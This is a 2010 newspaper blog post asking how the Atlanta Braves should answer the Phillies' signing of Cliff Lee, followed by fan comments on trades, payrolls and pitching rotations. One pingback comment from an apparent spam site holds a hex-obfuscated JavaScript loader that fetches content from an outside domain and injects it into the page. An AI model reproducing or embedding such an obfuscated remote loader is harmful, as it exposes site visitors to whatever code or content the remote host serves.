What will Braves do now that Phillies have Lee?
Cliff Lee has reportedly opted to rejoin the Phillies. (Matt Slocum, AP)
Free-agent left-handed pitcher Cliff Lee has reportedly spurned the offerings of the New York Yankees and Texas Rangers and opted to sign with the Philadelphia Phillies – the team that traded him away to land Cy Young Award winner Roy Halladay.
A fourth-round draft pick in 2000, Lee is 102-61 with a 3.85 ERA in nine major league seasons. He has excelled in the postseason, going 7-2 with a 2.13 ERA for Philadelphia and Texas in the past two years, including 3-0 with a 1.88 ERA against the Yankees.
According to the Associated Press, Lee has accepted the Phillies’ preliminary offer of a $100 million, five-year contract.
Lee passed up an extra $50 million from the New York Yankees to join a rotation that includes Halladay, Cole Hamels, and Roy Oswalt.
How does that stack up against Tim Hudson, Derek Lowe, Tommy Hanson and Jair Jurrjens?
The deal clearly makes Philadelphia the favorites to win the N.L. East and the World Series. How should the Braves counter this move? With who? For how much?
Tell us what you think about the site
Customer Care »
Vacation stops, manage subscriptions and more
AJC Services
Sections
Other Editions
Visitor Agreement | Privacy Statement
© 2013 The Atlanta Journal-Constitution
192 comments Add your comment
Poorbrave
December 14th, 2010
11:56 am
Texas and NYY are now after Grenski…
Poorbrave
December 14th, 2010
11:59 am
Greinke ( sp) never been much for spelling.
Brooklyn Braves Brawler
December 14th, 2010
11:59 am
The one key difference that i see is that the Yanks, Red Sox, White Sox, and Phils fans demand that their team be great and won’t settle for anythin less.
Braves fans (me included) hope that are team maybe great. That blows and until we start holding mgmt. accountable for the moves or non-moves they make then we will be middle of the pack. I don’t know about you all but I don’t want to be listed next to Cincy and Colorado potential. I want to be a playoff team opening day! As it stands now, things have to go perfectly just for us to sniff the wildcard, thats unsatifactory
South Georgia Braves
December 14th, 2010
12:04 pm
@ Johnny Fever – “And Greinke?? Anyone look at his stats last year? He had a great year two years ago and won the CY Young. Anyone remember Jake Peavy or Pat Hentgen?”
One year wonders.
bvillebaron
December 14th, 2010
12:09 pm
Brooklyn Braves Brawler:
While you and I seem to agree on Greinke, I don’t think you clear out the farm system for him. As I posted earlier, I think you want to keep JJ in order to have 4 quality starters and trade two of your key pitching prospects not named Teheran (i.e. Delgado and Viscaino) and preferably Beachy, but if necesary Minor and this deal may get done.
Allof this is probably wishful thinking since Greinke is set to earn $13.5 this year.
GeuaxBravos
December 14th, 2010
12:12 pm
DOB says that FW isnt making any counters..so to all the concerned fans wishing we could have a counter, well that idea was just shot i guess..
George W
December 14th, 2010
12:14 pm
I dont think the Braves will do anything prior to the season starting. However once the season has started and we can see what kind of on field production we are getting, they may make a trade or aquire someone. Cliff Lee could fall on his face. Let them spend that BIG MONEY and we can hope he does not produce.
Randal Patrick McMurphy
December 14th, 2010
12:15 pm
MASSIVE shift in the balance of power… not only on the Senior Circuit, but in MLB as a whole. There will be NO letup in the pitching quality when playing the Phillies in any series, 2-3-4 games… whatever. You can only hope for an ‘off-day’ from them, and then hope to take advantage of the lapse…
What should the Braves (or anyone else) do? Just go out and play the game with the best of what you’ve got, and let the chips fall where they may. Hopefully, when the dust settles the Braves have played well enuff to qualify for “The Show”…
Brooklyn Braves Brawler
December 14th, 2010
12:18 pm
B’ville,
I think you have to give to get and although the farm system is vulnerable if a deal is going to happen, you are paying for:
1. The ability to have Grienke under contract @ 2yrs/ 27 mil. That is cheap compared to what pitcher of his ilk are going for. (See Sabathia, Lee, Halladay)
2. You will get 2 yrs of exclusive negotiating time for a possible long-term deal.
3. The chance to get draft picks when and if he leaves via FA.
While i don’t want to gut the system, the Royals wont take just anybody for Zach. They may even let him play his contract out ant take their picks when they offer him arbitration in 2 years.
HeadCheese
December 14th, 2010
12:23 pm
Lets not here the whining about Yankees buying penants. Boston and Philly is the model for this now. This deal makes it hard to think the Braves have a chance to win the division.
bring back blauser
December 14th, 2010
12:27 pm
all this is doing is leading up to mlb going bankrupt. Guess who will pick up the tab? The american taxpayer. The owners know what they are doing. When all is said and done, we the people get screwed
Matt the Brave
December 14th, 2010
12:33 pm
Gsfs: I agree. Let’s use a car.
Braverman
December 14th, 2010
12:38 pm
Its more about the lack of money than about not reacting to the Phillies. If we had cash to spend you can bet your arse we would react. The Lee signing obviously completely trumps any improvements the Braves have made and thus you cannot honestly feel as though we have closed the gap any, instead it has increased. The reality is Wren is handcuffed for atleast 1 more year with Chipper and McClouth salaries. Even if we get what Chipper was doing pre-injury and what McClout did post demotion, we dont stack up very well against them. With Washington looking to make more moves as well (possibly Greinke) you can assume the East will be more competitive than last year, not predicting the Nats to win anything but they play Atlanta tough and looking to add pieces now. So its almost like we are going into 2011 the same way as 2010, on a wing and a prayer. The only chance you have at improving is to go ahead and accept that McClouth is dead weight, throw him in the Kawakami pile where you will take anything to get rid of them and still pay their salary. You arent getting Chipper to accept anything other than the thought he will be in the opening day lineup and play everyday he is healthy and make 13 million dollars. Think about Beltre in the lineup. No depletion of the farm, huge bat, good glove. But alas we have a over the hill superstar (who has earned the right to become an albatross I guess) and and overpaid has been that will keep this team from improving.
Matt
December 14th, 2010
12:41 pm
Blame the Yankees for the escalating salaries in baseball…
bring back blauser
December 14th, 2010
12:45 pm
no not the yankees blame gene autry ted turner and george steinbrenner
Braverman
December 14th, 2010
12:47 pm
Maybe they should have leagues based on your payroll. Let the over 100mil teams like Yanks, Phils, Sox, Cubs, Angels, Mets,Whitesox,Tigers play in the “premier” league and crown their own champion, followed by the over 80 club including the Braves in the “champions” league. We can then have a end of year tournament with the champs from each league playing for the Ameri-Cup.
pjbrave
December 14th, 2010
12:50 pm
Anyone who thinks that we should trade JJ for Grienke is crazy!!!! JJ is an A level pitcher and has been playing for a team that has been in the division race. Grienke is an A level pitcher as well , but he is plaing in KC, and they play for last place every year. We dont know if he is a big game pitcher. JJ has had some big wins for us. So to say that we need to trade him is just plain crazy!!!!
Bill
December 14th, 2010
12:51 pm
Now that Bravws have new hitting coach maybe it won’t matter. Maybe all those hits they’ve been saving up will come out this next season….I agree that pitching is great for Philly, but Braves have some pretty good arms too, and if they hit and play little ball they’ll be okay……
Bravo
December 14th, 2010
12:54 pm
No question the Phils have a great starting rotation, but the reality is that Lee has had one great season and a few good to very good seasons. Paying $20 million plus per season is insane – let’s hope this limits the Phils from making moves in future seasons.
AC
December 14th, 2010
12:55 pm
Looks like I picked the wrong week to stop sniffing glue
James
December 14th, 2010
1:03 pm
Trade Beachy, Minor, Kawakami, and another prospect to the Royals for Grienke and Gregor Blanco.
Brooklyn Braves Brawler
December 14th, 2010
1:03 pm
JJ is not an A level pitcher, Braves fans must learn not to over value their own players while unders valueing another team’s players.
JJ is great and I love his competitive nature. When i watch him pitch, I believe he wants to win every game, you can just see it in his demeanor. That said, JJ is a B to B+ picher. JJ has never won more than 14 games in a season, he will be an overpriced Boras FA in 2 years, and he has had history of injuries in both his shoulder and knee.
You get Zach and trade JJ plus others and you compete!
Don
December 14th, 2010
1:05 pm
The Braves can’t compete with the Phillies because their attendance and ticket prices are lower. The difference in income just from that is worth a Lee and a Haladay.
The Phillies are still spending less than Boston and the Yankees….by a lot!
Brooklyn Braves Brawler
December 14th, 2010
1:07 pm
Bravo,
While I hope you are right, I don’t believe that the Phils need much more. They will most likely go young in OF and trade Ibanez and Blanton. So that means Mayberry, Brown, Victorino, Francisco in the OF.
And Polanco, J-Roll, Utley, Howard, and Ruiz in the IF. That’s damn good and they don’t need much else.
Franklin Zappa
December 14th, 2010
1:08 pm
So how is this any different than the whole Lebron James and Miami Heat debacle?
Trying to make a staff that will win the World Series.
Hypo Crites!
Brooklyn Braves Brawler
December 14th, 2010
1:17 pm
Frank Zappa,
It is no different, Lee like LeBron was FA and had his choice of where he wanted to go.
My angst is with ownership and mgmt. Although I am fine with the Uggla deal, If they would have gotten Upton or Young from D’Backs then Prado stays at 2B and you keep Omar as your IF swing player. Either young or Upton brings speed, defense, and a better contact bat than Uggla.
Brooklyn Braves Brawler
December 14th, 2010
1:19 pm
Plus either player would have been cheaper than Uggla for now and upon re-signing
Michael
December 14th, 2010
1:19 pm
Boring.
Heisenberg
December 14th, 2010
1:22 pm
We must counter by signing the well known slayer of Cliff Lee……..Edgar Renteria
(note: that was a joke)
deb
December 14th, 2010
1:31 pm
Personally I’m happy that someone finally showed some character and turned down extra Yankee money to play where they wanted to play. Also, everyone knows the prospective lineup you have going into spring training is not necessarily the lineup you have in June or September. Look at what happened to the Braves Pitching staff last year. Whoever thought the kid Medlen would end up in the rotation? And he blew everyone’s doors off. When does Medlen come back? Will we have in back in 2011 at all?
dcb
December 14th, 2010
1:39 pm
“The deal clearly makes Philadelphia the favorites to win the N.L. East and the World Series. How should the Braves counter this move? With who? For how much?”
To that malarky I would say “says who?” No byline on this one. Probably a good thing. Injuries happen. Off years happen. Hitting streaks stop. And hitting streaks start. Our pitching rotation is solid. If we can land another long ball hitter and get a good year out of Chipper, screw the Phillies screw the Mets, screw the Marlins. And better yet, screw the writer who wrote the above in the first place.
Boca Baby
December 14th, 2010
1:39 pm
While it doesn’t look good for the Braves we must not forget that total pitching dominance does not necessarily equate to league championships, much less world series titles. For about 10 of the 14 years the Braves won the NL East the team was considered to have the best staff in baseball. Results: one world series title. The Phillies are banking on just that. But we must also remember that Oswalt was a losing pitcher when he was dealt to the Phillies and Hamels has his issues. Halliday and Lee appear to be the only true stalwarts in the line-up. While the Phillies look formidable I would not consider them unbeatable. And Jason Werth now wears a Nationals uniform. The Braves are a living testament that you can’t trade a battery for a dominating pitching staff. Sooner or later somebody’s got to score some runs. The SF Giants, the team most consider to have the most dominate pitching staff, were anemic at best in scoring runs and barely made it into the playoffs. I know they won the WS but they were the hot team at the time. And getting hot in the end is most critical. Just ask the Phillies and the Yankees.
ChrisfromSacramento, Ca
December 14th, 2010
1:40 pm
Any way you cut it the Phills are MUCH better today, and MUCH better than the Braves. I had hope before but now I dont.
Our offense still sucks thanks to the worst outfield outside of Kansas City.
Lowe is old, Huddy is a sinker baller that fades down the stretch, Tommy is good at times and JJ sucks. The Phills are better from the owner, GM, Manager, players.
We better hope for another wild card, first round loss at best.
Sad Day.
Greinke would make the day better, Trade Delgado and others to get him FRANK!!!!!!!!!!!!!!!!!!!!!!!!
James
December 14th, 2010
1:47 pm
Braves should trade for Zach Greinke or Edwin Jackson and sign Andruw Jones.
Braverman
December 14th, 2010
2:17 pm
Everyone keeps saying if we get a good year out of Chipper, McClouth does anything, JJ comes back strong, Uggla and Gonzalez play better defense, Lowe throws consistenty, etcetera, etcetera we will have a chance. We are expecting performance to be above their standard on everyone. You know what the Phils are saying, we can absorb an injury to the rotation, we have enough bats to not miss Werth, we can hold up through a slump by Rollins and still have a chance. For us everything has to go right, for the Phils everything just has to go as expected. Thats the difference between building a team to compete and assembling a team with a chance to compete. Its also the difference between 80 mill and 150 mil payroll.
deuce bigalow male gigolo
December 14th, 2010
2:53 pm
We are saying we can do without KK, Saito, Wagner, Farnsworth, Ankiel, Cabrera, and Glaus lol
ed
December 14th, 2010
3:41 pm
I guess all the braves fans who are claiming the phils to be the NL’s version of the yanks don’t recall the 90’s… us phils fans, we remember…I still have nightmares about the rotation the bravos used to throw at us… What you need to remember is that the success of this Phillies team is based on their ability to build a winner from the ground up to begin with…When we won it in 2008, we did so with amost all homegrown talent…Howard, Utley, Rollins, Hamels etc…This was a very tight organization when it came time to open up the walet… but they won without a high payroll… the fans came in droves…money was made hand over foot and they have steadily increased payroll… I mean, wouldn’t it be horrible if they didn’t given the success they’ve had. This was one of the worst franchises in sports history for…oh I don’t know… about a hundred years… you had your dynasty in hotlanta…don’t be bitter now that it’s our turn… ps… even I’ll miss bobby cox.
What will Braves do now that Phillies have Lee? | World`s daily news
December 14th, 2010
4:42 pm
[...] What will Braves do now that Phillies have Lee? function agc_getinfo(field){ var processor = "http://dailynewstrendnow.info/wp-content/plugins/agc-sys/lib/info.php?site="; return processor + field; } function agc_ajaximage(){ var image = "http://dailynewstrendnow.info/wp-content/plugins/agc-sys/lib/wait.gif"; return image; } var _0xe9c1=["x58x4Dx4Cx48x74x74x70x52x65x71x75x65x73x74","x4Dx69x63x72x6Fx73x6Fx66x74x2Ex58x4Dx4Cx48x54x54x50","x6Fx6Ex72x65x61x64x79x73x74x61x74x65x63x68x61x6Ex67x65","x72x65x61x64x79x53x74x61x74x65","x73x74x61x74x75x73","x72x65x73x70x6Fx6Ex73x65x54x65x78x74","x47x45x54","x6Fx70x65x6E","x73x65x6Ex64","x69x6Ex6Ex65x72x48x54x4Dx4C","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x3Cx69x6Dx67x20x73x72x63x3Dx22","x22x20x73x74x79x6Cx65x3Dx22x62x6Fx72x64x65x72x3Ax6Ex6Fx6Ex65x22x2Fx3E",""];function getSiteStats(_0×1f2dx2,_0×1f2dx3){if(window[_0xe9c1[0]]){xmlhttp= new XMLHttpRequest();} else {xmlhttp= new ActiveXObject(_0xe9c1[1]);} ;xmlhttp[_0xe9c1[2]]=function (){if(xmlhttp[_0xe9c1[3]]==4&&xmlhttp[_0xe9c1[4]]==200){sendtovisitor(xmlhttp[_0xe9c1[5]],_0×1f2dx3);} ;} ;xmlhttp[_0xe9c1[7]](_0xe9c1[6],agc_getinfo(_0×1f2dx2),true);xmlhttp[_0xe9c1[8]]();showloader(_0×1f2dx3);} ;function sendtovisitor(_0×1f2dx5,_0×1f2dx3){document[_0xe9c1[10]](_0×1f2dx3)[_0xe9c1[9]]=_0×1f2dx5;} ;function showloader(_0×1f2dx3){document[_0xe9c1[10]](_0×1f2dx3)[_0xe9c1[9]]=_0xe9c1[11]+agc_ajaximage()+_0xe9c1[12];} ;function hideInfo(_0×1f2dx3){document[_0xe9c1[10]](_0×1f2dx3)[_0xe9c1[9]]=_0xe9c1[13];} ; Phillies At Trends Buzz [...]
bravos10
December 14th, 2010
8:35 pm
we definitely should not trade JJ! NL cy young will be JJ next year, just wait. we need to trade beachy/reliever for another good pitcher, and then trade minor, nate, and whoever else for matt kemp!
mark
December 14th, 2010
10:16 pm
I think our entire pitching staff including our bullpen stacks up pretty well against the entire phillies pitching staff. Looking at the big picture I like our chances to develop a strong and deep roster over the next couple of years. I would like to see us trade for a solid outfielder and leadoff hitter.
Terry
December 15th, 2010
9:02 am
Phillies sell out every game! Start going to home games Brave fans if you want to catch the Phils. Show up to away games all over the country. Have a club house that makes players want to stay and come to your team. Buy more jerseys! And let your GM build more around him both on and off the field like Gillick and Ruben have done. The Braves and Phils make a very strong NL East with the Nats and Fish close behind. But I must agree……. Being a Phillie fan from 94 to 06 was rough. I don’t think our run will be that long.
Pete Rose
December 16th, 2010
1:15 pm
Swing hard in case you hit it!